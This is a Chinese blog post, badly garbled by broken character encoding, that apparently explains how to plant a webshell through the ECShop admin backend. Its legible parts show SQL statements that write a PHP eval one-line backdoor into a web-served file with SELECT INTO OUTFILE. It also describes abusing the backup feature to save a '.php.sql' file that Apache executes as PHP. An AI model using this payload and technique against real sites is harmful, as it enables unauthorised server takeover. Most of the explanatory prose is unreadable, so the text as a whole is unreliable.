˵ecshop̨shellķ


ecshop̨shellķoldjunţǸϴ˵Ǹַ֡Ǹиһһ

 

һ

ecshop̨һsqlѯͼ



ʵоһϵͳĺ̨ôܸûãжվԱôߵľ򣬻

ҲСshell

phpmyadminһֱӲsql䵼һ仰ľshell

£



show databases;

use ݿ;

 create a(cmd text not null);

 insert into a(cmd) values('<?php eval($_POST[cmd]);?>');

select cmd from a into outfile '·';

drop table if exists a;

ܳ䡣Ҳ˻ʲ֪վ·ô죬Ҫأһɾ use ݿ; 仰ʵsqlѯĬõݿǱվݿ⣬Ƶʱ򲻻ῼȥuse ݿ⣬"use "ʱһ棬ӰsqlУȴԳɹվ·βԾɹͼ




ͱ·ڵ

иoutfileļʱmysqlrootȨޣûȨ޵ģַҪmysqlȨΪroot



һecshop̨ݿⱸݹܡͼ




ѡԶ屸ݣĿʹ㱸ݳļСҪ̫ĻҲ鷳

Ȼȥǰ̨ԣǵһ仰ľں̨ѡ񱸷ecs_feedbackűǴԵıͼ



Ȼʾݳɹ

ecshopݵļǿлıݵֺ.sqlչ(Ԫl4yn3.php)ͼ



ô޷Ǿ߰ȫԣߺһ⣬phpapacheеģapacheļ©ַʽͬ衣

Ϊapacheи©Ƕļ1.php.sqlʽֻҪļչapacheܽģͻᰴphpļsqlļapacheܹļôȻļphpļִС

apache+phpĻʹļҲҪľǵһ±ݺӡ

ˣshellķʽҪĻapache+phpġ

 һиGPCħתܿҲܼߡ

ַʽûϴ˵λţôͨɱֻǸṩ˼·˶ѡ

֮ǰshellԵģдµʱڱزԣе⣬ڶַʽһ仰ɹͼͲˣ¡
